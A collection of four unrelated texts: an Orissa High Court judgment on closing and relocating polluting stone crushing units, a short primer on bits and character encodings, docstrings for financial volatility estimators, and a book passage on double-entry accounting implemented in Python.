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V.GOPALA GOWDA, CJ & INDRAJIT MAHANTY, J.
W.P.(C) NO. 9101 OF 2009 (WITH BATCH CASE) (Decided on 4.8.2010) M/S. TRISHAKTI STONE CRUSHING UNIT & ORS. ........... Petitioners.
.Vrs.
STATE OF ORISSA & ORS. ........... Opp.Parties.
CONSTITUTION OF INDIA, 1950 - ART.21.
For Petitioners - M/s. Debasis Das, Debasnan Das & D.K.Mohapatra. For Opp.Party - M/s. Mr.C.A.Rao, S.P.Mohanty, P.Lenka, M.Barik, T.Ray, Nos.1,2,3 & 5 S.Roy & B.B.Panda.
For Petitioner - M/s. A.K.Mohapatra, N.C.Rout, S.K.padhi, S.K.Mishra, A.R.Swain, A.K.Mohapatra.
For Opp.Party - M/s. C.A.Rao, S.P.Mohanty, P.Lenka, M.Barik, T.Ray, S.Roy Nos.1,2,3 & 5 & B.B,.Panda.
For Opp.Party No.4 - None.
For Petitioner - M/s. U.C.Patnaik, B.Sahoo, S.S.Ray-2, B.Mohanty & A.Tripathy.
For Opp.Party - M/s,. Mr. C.A.Rao, S.P.Mohanty, P.Lenka, M.Barik, T.Ray, Nos.1,2,3 & 5 S.Roy & B.B.Panda.
I.MAHANTY, J. In this batch of writ petitions, petitioners who have set up Stone Crushing Units at various places within the State of Orissa have prayed for being provided with an alternate site by the Orissa Industrial Infrastructural Development Corporation or any of the State body or authorities on payment of costs and also to quash the notice of closure issued by the State Pollution Control Board, Orissa and/or to keep the same in abeyance till alternate site is provided to the petitioners.
2. Mr. Y. Das, learned Senior Counsel appearing for the petitioner on the outset submitted that although he had appeared for the petitioners in those batch of writ petitions, he had no instructions in the matter and sought for the permission of the Court to address the Court as an amicus curiae. Learned Senior Counsel limited his prayer to seeking a direction to the State and/or authorities to provide the petitioners with alternate sites complying with the requirements as stipulated by the State Pollution Control Board, within a limited period.
3. Mr. S.P. Mohanty, learned counsel appearing for the State Pollution Control Board, Orissa vehemently argued that the present writ petitions are not maintainable and ought to be rejected outright since the issues/contentions raised in the present batch of writ petitions are covered by earlier judgment of this Court, in W.P(C) No.5503 of 2007 and others dismissed by judgment dated 27.1.2009. He asserted that most of the petitioners in this batch had also challenged the notification dated 17/18.7.2002 issued by the Government of Orissa in the Forest and Environment Department in exercise of power conferred by Sub-section (i) of Section 19 of the Air (Prevention and Control of 2 Pollution) Act, 1981. The said prayer of the petitioners and others were rejected and the writ petition was dismissed vide judgment dated 27.1.2009.
In this aspect, reliance was placed by the petitioners on a judgment of the Supreme Court in the case of State of Uttar Pradesh V. Nawab Hussain, AIR 1977 Supreme Court 1680 as well as the judgment of this High Court in the case of Dr. Gyan Guru Das V. Central Vigilance Commissioner and others, 2008 (Supp.-I) OLR 790 in order to substantiate his contention that, it is the well settled principle of law that a plea raised/not raised in the earlier writ petition could not be questioned in a subsequent writ petition since such consideration is barred by the principle of Constructive Res Judicata.
4. In the light of the aforesaid submissions and on perusing the pleadings as well as the documents appended thereto, there is no dispute that the petitioners herein had challenged the notification issued by the Government of Orissa, declaring the entire State of Orissa as Air Pollution Control Area vide judgment dated 27.1.2009. A Division Bench of this Court dismissed W.P.(C) No.16442 of 2005 and a batch of similar cases and came to uphold the validity of the notification declaring the entire State as Air Pollution Control Area as well as the "siting criteria" fixed by the State. The Court also did not find any merit in the prayer of the petitioner to quash the order of sealing the units and accordingly the batch of writ petitions stand dismissed.
After dismissal of the aforesaid batch of writ petitions, the present petitioners once again have filed the present batch of writ petitions with the prayer as noted hereinabove and an interim order was passed by the order dated 16.7.2009 directing that till the next listing of the case, no coercive action shall be taken against the petitioners and this order has been extended from time to time.
At the very outset, in the circumstances as noted hereinabove, we are compelled to note our absolute concern with the manner in which the petitioners' crushing units continue to operate in wanton disregard to all cannons of law in the face of the closure notices issued by the State Pollution Control Board, Orissa as well as the directions of this High Court.
5. The very least that can be said in the present stage is that, the petitioners have been adopting every means to continue operating their Stone Crushing Units by filing multifarious petitions from time to time and consequently continue to pollute the air in the area in which they operating and making the State Pollution Control Board into a mere spectator.
6. These very writ petitioners had filed the earlier batch of writ petitions as noted hereinabove challenging the notification issued by the State of Orissa declaring entire State as an Air Pollution Control Area as well as the closure notices issued by the State Pollution Control Board which were rejected and the writ applications were dismissed. While the Pollution Control Board, thereafter, attempted to execute the orders of this Court (upon dismissal of the batch of writ applications), these notices issued in purported execution or compliance of the direction of this Court, are once again challenged in the present batch of writ petitions and once again interim orders of no coercive action are passed against them. This, in our considered view, amounts to a clear abuse of the process of the Court making it worse by the fact that, blatant violation of air pollution norms continue unabated till today. Therefore, we find no justifiable legal 3 ground to entertain the challenge to the notices of closure issued by the State Pollution Control Board and hence reject the said prayer and vacate the interim orders.
7. Insofar as the prayer of the petitioners seeking a direction to the State and/or authorities in the State to provide the petitioners with alternate site is concerned, we are of the considered view that such a prayer ought to be considered favourably, especially, since not only this crushing units provides a source of livelihood to its owners or operators but also a source of livelihood to thousands of labourers who work at such crusher units.
8. Therefore, in keeping with the interest of the promoties of such stone crushing units as well as their workmen, and following the law laid down by the Hon'ble Supreme Court Cases in the case of M.C. Mehta V. Union of India and another, 1992 (SC) 3 256 as well as the judgment of the Supreme Court in the case of M.C. Mehta V. Union of India and others, (1996) 4 Supreme Court Cases 750, we direct as follows:
(i) All polluting stone crushing units which are operating without complying with the siting criteria and without approval of the State Pollution Control Board shall all stop functioning in the State of Orissa forthwith
(ii) The District Administration as well as the Police authorities are directed to assist the State Pollution Control Board, Orissa in effecting closure of all such non-compliant stone crushing units immediately and file a compliance report before this Court by 6th September, 2010.
(iii) The Secretary in the Industries Department shall render all assistance to the stone crushing units in the process of relocation and copy of this order shall go to the Chief Secretary and Home Secretary to provide all necessary assistance, help and necessary facilities to all such industries which intend to relocate themselves at places which comply with the siting requirements stipulated by the State Pollution Control Board.
(iv) The allotment of plots, construction of factory buildings and issuance of license and permission etc shall be expedited and granted on priority basis.
(v) In order to facilitate shifting of the non-compliant and polluting stone crushing units, the State is directed to set up a "unified single agency" at the district level to act as a nodal agency to sort out all the problems of such industries. The single window facility shall be set up in every district within one month from today.
(vi) Appropriate site shall be identified within existing industrial estates and/or in other area as may be required and for such purpose, if required, immediate steps be taken for acquisition of land for meeting the aforesaid purpose.4
(vii) The stone crushing units which relocate in the new industrial estate or existing industrial estate shall also be entitled to any incentives which are normally extended to new industries in new industrial estate.
(viii) The closure order shall be unconditional and all such non-compliant stone crushing units must
(ix) stop functioning with immediate effect.
(ix) The workmen employed in the stone crushing units shall be entitled to the rights and benefits as indicated hereunder:
(a) The workmen shall have continuity of employment at the new place where the industry is shifted. The terms and conditions of their employment shall not be altered to their detriment;
(b) The period between the closure of the industry and its restart at the place of relocation shall be treated as active employment and the workmen shall be paid their full wages with continuity of service;
(c) All those workmen who agree to shift with the industry shall be given one year's wages as "shifting bonus" to help them settle at the new location;
(d) The workmen employed in the industries which fail to relocate and the workmen who are not willing to shift along with the relocated industries, shall be deemed to have been retrenched with effect from 31.08.2010 provided they have been in continuous service (as defined in Section 25-B of the Industrial Disputes Act, 1947) for not less than one year in the industries concerned before the said date. They shall be paid compensation in terms of Section 25-F(b) of the Industrial Disputes Act, 1947. These workmen shall also be paid, in addition, one year's wages as additional compensation;
(e) The "shifting bonus" and the compensation payable to the workmen in terms of this judgment shall be paid by the management on or before 16.9.2010.
(f)The gratuity amount payable to any workmen shall be paid in addition.
9. The direction contained hereinabove shall not be limited to the petitioners in the present batch of writ petitions but stands extended to all similar non-compliant stone crushing units operating throughout the State of Orissa as on date. The Industry Secretary is directed to put out a notice in all local dalies though out the State inviting applications from stone crushing units requiring relocation and a list shall be prepared of all stone crushing units who respond to such notice and all such persons duly verified/identified by the district authorities, shall be entitled to the benefits of the aforesaid directions as well as must comply with the necessary direction as noted hereinabove in order to be entitled to the benefits directed hereinabove.
10. With the aforesaid observations and directions, we disposed of the writ petitions. We make it clear that any violation of such directions shall be viewed very seriously by this Court and we expect that the State Pollution Control Board and all District/Police Administration adhere to such directions strictly both in letter and spirit and any person found violating the same shall be dealt in accordance with the provisions of the Contempt of Court's Act.
5Writ petitions disposed of


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A bit (short for binary digit) is the smallest unit of data in a computer. A bit has a single binary value, either 0 or 1.
Naming the two symbols in computer logic "1" and "0" is an example of functional abstraction.
And it brings us back to bits.
We use 8 bit sets of bits (bytes) to represent larger concepts like letters and symbols.
Having only two options, we need to count with a binary system.
| POSITION | 128s | 64s | 32s | 16s | 8s | 4s | 2s | 1s |
| VALUE | 1 | 0 | 1 | 0 | 1 | 1 | 0 | 1 |
ANSI (American National Standards Institute) created ASCII (American Standard Code for Information Exchange) in 1963 to encode characters into a standard language that computers could understand.
ASCII does not cover a large number of special characters.
UTF-8 is a compromise character encoding that can be as compact as ASCII (if the file is just plain English text) but can also contain any unicode characters (with some increase in file size). UTF stands for Unicode Transformation Format. The '8' means it uses 8-bit blocks to represent a character.
87% of all web sites use UTF-8


| | |
- estimate_log_corr_rv(data1, data2)
- Estimates the quadratic correlation of data1 and data2, assuming these are time series on a uniform partition of [0,t], of processes with quadratic variation
More data1 and data2 are assumed to follow
d[X1](t) = sigma1^2 X1(t)^2 dt,
d[X2](t) = sigma2^2 X2(t)^2 dt,
d[X1,X2](t) = sigma1 sigma2 X1(t) X2(t) rho
The estimation uses realized covariation on logX1 and logX2
----------
args:
data1 data array for X1
data2 data array for X2
t terminal time
output:
rho
- estimate_recgamma_diff(data, dt)
- Returns the parameters according to the the estimators (nu, mu, sigma) of the mean reverting diffusion process
based on observations data observed at the uniform time grid with time steps of size dt.
See Leonenko, Suvak (2010) equations (5.5), (6.1) and (6.2) for the estimators:
We parametrize the process as
d Xt = nu(mu - Xt) + sqrt(2 nu (Xt ** 2) / c ) dWt
for alpha, nu > 0, beta > 1 (i.e. mu = alpha / (beta-1), sigma = sqrt(2 a nu)
----------
args:
data: data on equidistant time grid
dt: distance between two time points in the data
output:
mu: estimator for mean reversion level
nu: estimator for mean reversion speed
sigma: estimator for volatility
- estimate_recgamma_diff_old(data, dt)
- Returns the parameters according to the the estimators (nu, mu, sigma) of the mean reverting diffusion process
based on observations data observed at the uniform time grid with time steps of size dt.
See Leonenko, Suvak (2010) equations (5.5), (6.1) and (6.2) for the estimators
----------
args:
data: data on equidistant time grid
dt: distance between two time points in the data
output:
mu: estimator for mean reversion level
nu: estimator for mean reversion speed
sigma: estimator for volatility
- estimate_vol_2d_rv(data1, data2, t=1.0, log=True)
- Estimates the quadratic correlation of data1 and data2, assuming these are time series on a uniform partition of [0,t], of processes with quadratic variation
More data1 and data2 are assumed to follow
d[X1](t) = sigma1^2 X1(t)^2 dt,
d[X2](t) = sigma2^2 X2(t)^2 dt,
d[X1,X2](t) = sigma1 sigma2 X1(t) X2(t) rho dt
If log=False, then
d[X1](t) = sigma1^2 dt,
d[X2](t) = sigma2^2 dt,
d[X1,X2](t) = sigma1 sigma2 rho dt
The estimation uses realized covariation on logX1 and logX2
----------
args:
data1 data array for X1
data2 data array for X2
t terminal time
output:
sigma_1, sigma_2, rho
- estimate_vol_2d_rv_incr(data1, data2, time_incr=0.1, log=True)
- Estimates the quadratic correlation of data1 and data2, assuming these are time series on a uniform partition of [0,t], of processes with quadratic variation
More data1 and data2 are assumed to follow
d[X1](t) = sigma1^2 X1(t)^2 dt,
d[X2](t) = sigma2^2 X2(t)^2 dt,
d[X1,X2](t) = sigma1 sigma2 X1(t) X2(t) rho dt
If log=False, then
d[X1](t) = sigma1^2 dt,
d[X2](t) = sigma2^2 dt,
d[X1,X2](t) = sigma1 sigma2 rho dt
The estimation uses realized covariation on logX1 and logX2
----------
args:
data1 data array for X1
data2 data array for X2
time_incr time increment
log=True if True, then estimation based on log of data1 and data2, else in plain format.
output:
sigma_1, sigma_2, rho
- estimate_vol_gBM(data1, data2, time_incr=0.1)
- Estimate vol and correlation of two geometric Brownian motion samples with time samples on a grid with mesh size time_incr using estimate_vol_2d_rv_incr, the drift parameter and mean rev paramters are set to 0.
----------
args:
data1 data array for X1
data2 data array for X2
time_incr time increment
log=True if True, then estimation based on log of data1 and data2, else in plain format.
output:
[0, 0, sigma_1], [0,0, sigma_2], rho format to be used direclty in a LOBLinear model object
- estimate_vol_rv(data, t)
- Estimates the quadratic correlation of data1 and data2, assuming these are time series on a uniform grid with mesh size dt, of processes with quadratic variation
More data1 and data2 are assumed to follow
d[X](t) = sigma^2 dt,
The estimation uses realized variation
----------
args:
data
t
output:
sigma
- realized_covar_general(time_arr, data_bid_arr, data_ask_arr, time_incr, start_time=34200.0, end_time=57600.0)
- Estimates the variance and covariance of log of bid and ask side by computing realized (co)variation of log of bid and ask data on [start_time, end_time] partitioned in small intervals of length time_incr. More precisely, the model returns estimators for (sigma_b^2, sigma_a^2, sigma_b^2 rho) under the assumption that
d [log(data_bid)]_t = sigma_b^2 t
d [log(data_ask)]_t = sigma_a^2 t
d [log(data_ask), log(data_bid)]_t = rho t
----------
Args:
time_arr array with time steps corresponding to data
data_bid_arr array with bid data
data_ask_arr array with ask data
time_incr mesh size of the time grid for computation
start_time time point to start calculation
end_time time point to end calculation
Output:
rcv covariance estimator
rv_bid realized variation on bid side
rv_ask realized variation on ask side
|


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We'll make this as quick as possible. There are two concepts to grasp: transactions and the chart of accounts.
The double-entry system of accounting dates back over 400 years, to an Italian named Fra. Luca Pacioli (who recently had a PC accounting package named after him). The key idea was to keep track of where money comes from and where it goes. Double-entry must rate as one of the most powerful notations ever, the business equivalent of Newton's achievements in physics. What follows is a formal notation and set of rules to encapsulate double-entry. As with physics, it's best just to work through a few examples rather than analyze the concepts too early.
A transaction is a financial event. It occurs at a certain point in time, affects two or more accounts, and the effect of those accounts sums to zero. The use of the term transaction in the database world was borrowed from accountants, who got there first by a few centuries. The key concept is that the whole thing has to happen at once or not at all; if only part of a transaction takes place, your system goes out of whack. Conceptually you can lay one out on the page like the following table.
|
Date: |
01/01/1998 |
|
Comment: |
Start the company |
|
Cash |
+10 000 |
|
Share Capital |
-10 000 |
A set of accounts (or BookSet ) is basically a list of such transactions. An account is a way of categorizing money, but it has no precise economic meaning; fortunately, it soon becomes obvious what an account means in practice.
Here's what happens when you go out and buy something for cash.
|
Date: |
07/03/1998 |
|
Comment: |
Buy computer manuals |
|
Cash |
-27.95 |
|
Expenditure (Publications) |
+27.95 |
By convention, increases in cash are positive, and decreases are negative. Thus, accounts for tracking expenditure like the previous one for Publications, are usually positive, and Share Capital (from the first example) has to be negative. The nonintuitive part is that accounts for classifying income have to be negative, and so does profit, which is income minus expenditure. It could as easily have been the other way around, but the decision was made centuries ago.
Cleaning this process up for the shareholders and managers should be a function of the reporting layer of the system, which aims to hide the complexity of these negative numbers. Only the programmer or database designer really needs to grasp them.
The ancients were not so happy with negative numbers and used the left and right sides of a sheet of paper, naming them debit and credit, which are plus and minus in our system. Accountants just knew that cash went on the left and income went on the right, and nobody saw a minus sign. Most people expect it to be the other way around, but the banks have been fooling you by using their viewpoint on statements and not the customer's; when your bank statement says "CR" in small letters, it means the bank is in credit: they owe you money. We programmers should be perfectly happy with a minus sign and a list of numbers, so we'll use the raw data.
It's worth noting that the phrase double-entry bookkeeping itself is slightly out of date. The old paper procedures involved two entries, but with the addition of sales taxes, many real-world transactions have three entries, and others have many entries. So multiple-entry would be a better name. If a business sells three items in the United Kingdom you want to classify separately and where sales tax is 17.5%, the sales transaction needs five entries that look like the following table.
|
Date: |
10/03/1999 |
|
Comment: |
Sell Widgets |
|
Cash |
+117.50 |
|
Sales Category 1 |
-50.00 |
|
Sales Category 2 |
-30.00 |
|
Sales Category 3 |
-20.00 |
|
Sales tax on all three (owed to Customs & Excise) |
-17.50 |
Unfortunately, accountants generally are not database designers, and arguments rage in theoretical texts over the proper way to deconstruct this into pairs of entries. We won't worry about it; we've got a simple master-detail view and a constraint that the right column sums to zero, and that's all there is to it.
The second concept to grasp is that of the chart of accounts, or as we call it, the tree of accounts. There is an almost universal consensus on what standard accounts should be called and how they relate to each other. This is a large part of what is known as Generally Accepted Accounting Practice or GAAP. If you have ever struggled with rules such as assets = liabilities + capital , relax: we deal with that in the next few minutes. Every company's balance sheet is just a tree, and (with the arrival of Windows 95) almost everyone in the world knows what tree views look like, as shown in Figure 6.1.
Figure 6.1 shows a tree view of a company's account structure. The balance sheet has two sections, Net Assets and Capital, both of which necessarily have equal size and opposite signs.[1] Net Assets are what the company is worth on paper and include Assets, which have a plus sign, and Liabilities, which have a negative sign. The totals on the right are inclusive balances showing everything in the tree below that point; ignore them for now.
[1] Some companies cut the cake differently, displaying Assets as the top half of the balance sheet, and Liabilities and Capital together on the bottom half. If you are interested in the book value of the company, the way we have done it brings the right numbers to the top. It won't affect our data structures either way.
If you investigate further (see Figure 6.2), you'll see that Assets are made up of cash, tangible assets a company owns (like computers), and money owed by others. Similarly, Liabilities includes overdrafts, money owed to creditors, and long-term loans. Capital, which has to match Net Assets, is made up of what you started with (your capital) and what you have made or lost since (Profit/Loss). Profit/Loss is simply income minus expenditure.
Naturally, Income and Expenditure can be divided into further specific categories, as can just about any of the accounts. But this is the simplest, reasonably complete picture of an accounting system.
Figure 6.2 is essentially correct but a bit too simple for the real world. What follows presents more realistic data, so feel free to skip to the next section if it doesn't interest you.
One of the main reasons companies have to publish accounts is to tell the world how safe they are to do business with. There are two definitions of insolvency. If a company's net assets go below zero, it's insolvent. However, an important consideration for managers, suppliers, and shareholders is whether the company has enough cash to meet its short-term obligations. If a company doesn't appear able to meet its short-term obligations, it can also be ruled insolvent. In the United Kingdom, there are titled aristocrats who own huge, historic estates they are not allowed to sell or modify for heritage reasons, and they can't possibly meet the running costs. These people have positive net assets, but they are insolvent by the second criterion. Company accounts have to handle these possibilities. We therefore introduce a distinction between current assets (cash, or things that should turn into cash within a year, like stock and debtors) and fixed assets (things with longer term value, like your factory). We then regroup things to get a single total of net current assets (NCA), a key indication of the short-term health of a business.
Figure 6.3 shows a simple business from two viewpoints. The left side displays six transactions occurring in date order; the right, a tree view at a point in time following the six transactions, with inclusive totals at each level. This is the tree structure we will use in examples from now on. You may find it interesting to trace how the totals were worked out.
In the real world, category names differ from country to country, and there are many more sublevels and exceptions to deal with. But the chart of accounts is still a tree and broadly follows that pattern.
A large number of accounting systems don't actually use a tree structure. They have a flat list of numbered accounts with hardcoded rules defining which numeric ranges are assets, liabilities, income, and expenditure. This can lead to complex reporting problems, when the accounts system doesn't quite match the desired grouping for a particular kind of report. We're going to sidestep all that.
The data structures we need, then, must capture the following features:
A transaction affects a number of accounts, but must sum to zero.
Our design goal is a general-purpose toolkit that allows you to formulate and solve financial problems in Python. To create the toolkit, we will build classes to represent common financial objects. All the code is available for downloading, so we show only selected excerpts; we do, however, list the main functions our class library makes available, for use in later chapters.
First of all, let's look at a few utilities. If you are fluent in Python, the code will be straightforward and not particularly interesting; but please skim through it anyway to grasp the business logic. If you are new to Python, this chapter should help consolidate your understanding of the language.
Python uses the Unix time system, which measures seconds since midnight on January 1, 1970 (which is when urban legend says the first Unix system booted up). The latest time possible in the system is sometime on January 19, 2038. We don't want to be tied to this system forever and will therefore express input and output in calendar units, hiding the actual implementation. The dates.py module defines a few helper constants and functions.
EARLY is defined as the earliest date possible on your system or at least earlier than any transactions you will enter. LATE is an arbitrary date later than any transaction you will enter. The functions asc2sec(aDateString) and sec2asc (aTime) convert between a string representation such as 31-Dec-1998 and seconds. Be aware that the Python time module exposes functions to do the same thing, in a slightly wordy manner, but with more options. There is also a package available called mxDateTime that offers a wider range of date utilities and functions and is worth considering for a commercial application.
The function later() works with the constants YEARS, MONTHS, WEEKS, DAYS, HOURS, MINUTES, and SECONDS to let you do calendar math easily. The following console session should clarify these:
>>> from dates import * >>> sec2asc(EARLY), sec2asc(LATE) ('1-Jan-1970', '19-Jan-2038') >>> endAugust = asc2sec('31-Aug-1999') >>> billingDate = later(endAugust, 5, DAYS) >>> sec2asc(billingDate) '5-Sep-1999' >>> paymentDate = later(billingDate, 2, MONTHS) >>> sec2asc(paymentDate) '5-Nov-1999' >>>
Now we examine a couple of helper data structures that will come in handy later. These can be found in the module datastruct.py . A Set holds only one copy of each item; we'll use it to find the unique elements in a big list quickly. A NumDict categorizes numbers. Here's the usage:
>>> import datastruct >>> myset = datastruct.Set() >>> myset.add('Spam') >>> myset.add('Eggs') >>> myset.add('Spam') >>> myset.contains('beer') 0 >>> myset.elements() # returned in alpha order ['Eggs', 'Spam'] >>> sales = datastruct.NumDict() >>> sales['North'] = 100 # direct assignment, like a dictionary >>> sales.inc('North',50) # increment it >>> sales.inc('East', 130) >>> sales['East'] 130 >>> sales.items() [('East', 130), ('North', 150)] >>> sales['South'] # returned in alpha order 0 >>>
Both structures are built on top of Python dictionaries and are extremely efficient with large amounts of data. NumDict is particularly useful as we will spend a lot of time categorizing numeric data.
Now to see how these are defined. Here is the module datastruct.py :
# datastruct.py - some generic data structures # see the Language Reference under 3.3, Special Method Names class Set: "minimal implementation to help clarity of code elsewhere" def __init__(self): self.data = {} def contains(self, element): return self.data.has_key(element) def add(self, element): self.data[element] = 1 def elements(self): keys = self.data.keys() keys.sort() return keys class NumDict: "Dictionary to categorize numbers." def __init__(self, input = None): self.data = {} if input is not None: for item in input: (category, value) = item self.inc(category, value) def __getitem__(self, key): return self.data.get(key, 0) def __setitem__(self, key, value): self.data[key] = value def inc(self, key, value): self.data[key] = self.data.get(key, 0) + value def items(self): it = self.data.items() it.sort() return it def clear(self): self.data.clear()
These data structures introduce some of Python's Magic Methods such as __getitem__(self, key). Magic Methods allow user-defined classes to respond to just about every operator Python provides. You can think of the most compact syntax you want for users of your class, and then implement it with Magic Methods. They are fully documented in the Python reference manual, Section 3.3, which is part of the standard distribution.
Now it's time to design a core object model. The module transac.py defines a Transaction class that captures the key notions we covered earlier. It also goes somewhat further; we've used Magic Methods to define a basic algebra of accounting. The class construction is straightforward. However, first we need to mention three design issues. Since this is a contrived application, we've gone for simple solutions that are good enough for our needs; for a proper accounting system, the solutions would be different.
The first issue is how to represent the tree structure behind a company's accounts. After several years of experimenting with different designs, it's clear that simple strings do the job nicely. Thus a cash account can be represented with a string like MyCo.Assets.NCA.CurAss.Cash.MyWallet. This reduces lots of complex tree operations to simple string functions; finding the sum of all cash accounts becomes trivial. It should of course be hidden in the user interface to save end users from typing, but it clarifies the data structure.
The second issue is how to keep the balance sheet in the right order as shown in Figure 6.3. You'll see that the accounts were named in alphabetical order at every level; we cheated and used 1_NetAssets and 2_Capital at the top level to force an alphabetical order. This hack keeps our tree in the conventional balance sheet order without needing any extra sort fields. The display account names used in reports (or indeed a GUI) could easily be looked up in a dictionary.
The final design issue is whether to have a separate class instance for every single transaction, or to go for a lower-level (and faster) implementation involving nested lists and tuples, since indexing into a list is faster than accessing a class attribute. For this book we've opted for a slower but more readable implementation, and a recent upgrade from 75 to 266 MHz largely covers up the loss. We discuss options for optimizing later on.
Let's take a quick tour of how to construct and work with transactions:
>>> import transac >>> T1 = transac.Transaction() >>> T1.date = asc2sec('1/1/1999') >>> T1.comment = 'Start the company' >>> T1.addLine('MyCo.Assets.NCA.CurAss.Cash', 10000) >>> T1.addLine('MyCo.Capital.Shares', -10000) >>> T1.validate() >>> T1.display() # print to standard output Date: 1-Jan-1999 Comment: Start the company MyCo.Assets.NCA.CurAss.Cash 10000.000000 MyCo.Capital.Shares -10000.000000 >>> T2 = transac.Transaction() >>> T2.date = asc2sec('5-Jan-1999') # four days later... >>> T2.comment = 'Loan from Grandma' >>> T2.addLine('MyCo.Assets.NCA.CurAss.Cash', 15000) >>> T2.addLastLine('MyCo.Assets.OtherLia.Loans') # addLastLine rounds\ >>> # off the final line for you >>> T2.display() Date: 5-Jan-1999 Comment: Loan from Grandma MyCo.Assets.NCA.CurAss.Cash 15000.000000 MyCo.Assets.OtherLia.Loans -15000.000000
The validate() method checks if a transaction balances and raises an error if it doesn't. Later on we'll show how to ensure this is called.
Transaction objects are atomic packets of data; they don't do a lot by themselves and get interesting only in large numbers. However, they can display themselves, convert themselves to and from other formats such as blocks of text, and most important, they support some mathematical operations:
>>> T3 = T1 + T2 # we can add them together >>> T3.display() Date: 5-Jan-1999 Comment: <derived transaction> MyCo.Assets.NCA.CurAss.Cash 25000.000000 MyCo.Assets.OtherLia.Loans -15000.000000 MyCo.Capital.Shares -10000.000000 >>> T4 = T1 * 1.2 >>> T4.display() Date: 1-Jan-1999 Comment: <New Transaction> MyCo.Assets.NCA.CurAss.Cash 12000.000000 MyCo.Capital.Shares -12000.000000 >>>
These operations make it simple to express, for example, the combined effects of a complex multistage deal or to model sales growing by 10% per month. The full API supported by Transaction objects is as follows:
Creates Transactions with the current time and no lines.
Sorts Transactions according to date.
Returns a printable description suitable for inclusion in, e.g., a list box.
Returns its date as a string formatted as "12-Aug-1999 18:55:42."
Allows date to be set from a text string as well as directly.
Returns true if the Transactions agree to the nearest second and 1/100 of a currency unit (even if comments differ).
Lets you build transactions up a line at a time.
Saves you doing the math. The amount for the last line is worked out for you to ensure the transaction balances.
By default, raises an exception if the transaction isn't zero. If autocorrect is set to zero, it silently adds an entry for the magic account (uncategorized) to round it off. This might be useful in a huge import, and the extra account shows up on all your reports.
Renames accounts, or the first part of any accounts, within the transaction, thereby allowing you to restructure the tree of accounts.
If there are several lines, e.g., for Cash, compacts them into one total.
Tells you the effect the transaction has on the target account.
Implements basic transaction algebra.
For analyzing financial flows: tells you how much money flowed into (or out of, if negative) the transaction from the given account.
Prints a readable representation containing all the lines on standard output.
Returns a compact representation as a Python tuple, useful sometimes for portability and speed, as we will see later on. The module defines a function tranFromTuple(aTuple) that converts these back to Transaction class instances.
Returns a multiline string for use in displaying or saving to text files. The module defines a function tranFromString(aChunk) to help parse transactions in text files, although slight rounding errors can become a problem with text storage and prevent perfect round trips.
Returns a set of dictionaries holding data for multidimensional analysis.
Returns a number indicating the rough size of the transaction, for display in graphical views to help users find transactions. The meaning is somewhat undefined for complex multiline transactions!
Finally, the transac module defines a function transfer(date, comment, debitAccount, creditAccount, amount) that lets you create a transaction rapidly with just two lines.
The next step is to represent a set of books. Many accounting systems grew up with programmers and analysts trying to model the paper processes of old accounting systems, with complex posting and validation rules. Our representation turns out to be nothing more than a list of transactions in date order. Many of the common financial reports can be extracted with some simple loops through this list. In database parlance, we have normalized our design, and will now define lots of views on top of it to get the data the users want. By storing transactions and only transactions, rather than allowing the line items to exist separately in some other kind of database, it's easy to ensure that the whole system obeys the fundamental rule of summing to zero as we manipulate the data.
The BookSet class now captures the logical structure of a general set of books. We also give it the ability to load and save its data, add, edit, and delete transactions, and display common views of the data.
The examples at the web site http://starship.python.net/crew/mhammond/ppw32/ include a script, demodata1.py, that generates a BookSet with 1,000 transactions and saves it to a file for future use. This test set of data is constant and can be used for volume testing and optimization. It shows a two-year forecast business model for a small consulting company called Pythonics Ltd. which, after a shaky start, achieves superior productivity and wealth through Python.
As before, we kick off with a quick demo of some of BookSet's capabilities. We adopt the convention that methods beginning with get retrieve data, usually in the form of a list of strings or tuples, and methods beginning with list print that data to the console:
>>> bs = demodata1.getData() >>> bs[0].display() Date: 1-Jan-1999 Comment: Initial investment MyCo.Assets.NCA.CurAss.Cash 10000.000000 MyCo.Capital.Shares -10000.000000 >>> bs.listAccountDetails('MyCo.Assets.OtherLia.BankLoan') Details of account MyCo.Assets.OtherLia.BankLoan ------------------ ----------------------------- 37 1-Feb-1999 Loan drawdown -10000.00 -10000.00 72 1-Mar-1999 Loan repayment 378.12 -9621.88 113 1-Apr-1999 Loan repayment 381.27 -9240.61 149 1-May-1999 Loan repayment 384.45 -8856.16 <<lines omitted>> 993 1-Jan-2001 Loan repayment 453.86 -457.50 998 1-Feb-2001 Final loan repayment 457.50 0.00 >>> endOfYear2 = asc2sec('31-Dec-2000') >>> bs.getAccountBalance('MyCo.Capital.PL', endOfYear2) # are we in profit yet? -258416.088 >>> # Yes, rolling in it (remember, cash is positive, profits and income are >>> # negative) >>> Q1, Q2 = asc2sec('31-Mar-2000'), asc2sec('30-Jun-2000') >>> bs.getAccountActivity('MyCo.Capital.PL.Expenses', Q1, Q2) 69961.19 >>>
All these queries are implemented as simple loops over the transactions in the BookSet. For example, to get the previous account details, we implement an internal function called getAccountDetails() as follows:
def getAccountDetails(self, match): from string import find # import into local namespace, a bit faster runtot = 0 tranNo = 0 results = [] for tran in self.__journal: dateStr = sec2asc(tran.date) comment = tran.comment for (account, delta, etc) in tran.lines: if find(account,match)<> -1: runtot = runtot + delta results.append((tranNo, dateStr, comment, delta, runtot)) tranNo = tranNo + 1 return results def listAccountDetails(self, match): print 'Details of account',match print '------------------ ' + ('-' * len(match)) for row in self.getAccountDetails(match): print '%5d %-12s %-40s %10.2f %10.2f' % row print
Note line 6, for tran in self.__journal. The __ convention provides private attributes; these attributes can be referenced by name only inside the class, not by external users of the class. This is a good way to hide information.
It's worth noting the way transactions are added. They must be stored internally in date order. To ensure this, use a modified binary insertion routine lifted from the Python library module insort.py . You first validate the transaction, and then do a quick check to see if it's the first transaction in the BookSet or if it's dated the same or later than the last one, and put it at the end. Loading from a file that's already in date order is fast and saves searching. Otherwise, you should do a binary search. Inserting a transaction in a 1000-transaction journal takes no more than eight comparisons:
def add(self, tran): # this could be optimized by putting the # length=0 case in an exception handler tran.validate() if len(self.__journal) == 0: self.__journal.append(tran) else: # quick check if it's the last - might happen # very often when loading from a file if cmp(tran, self.__journal[-1]) >= 0: self.__journal.append(tran) else: self._insertInOrder(tran) def _insertInOrder(self, tran): # copied from Python library - binary # insertion routine lo = 0 hi = len(self.__journal) while lo < hi: mid = (lo + hi) / 2 if tran < self.__journal[mid]: hi = mid else: lo = mid + 1 self.__journal.insert(lo, tran)
In most languages you would have to write a lot of code to save and load your data. In Python you don't.
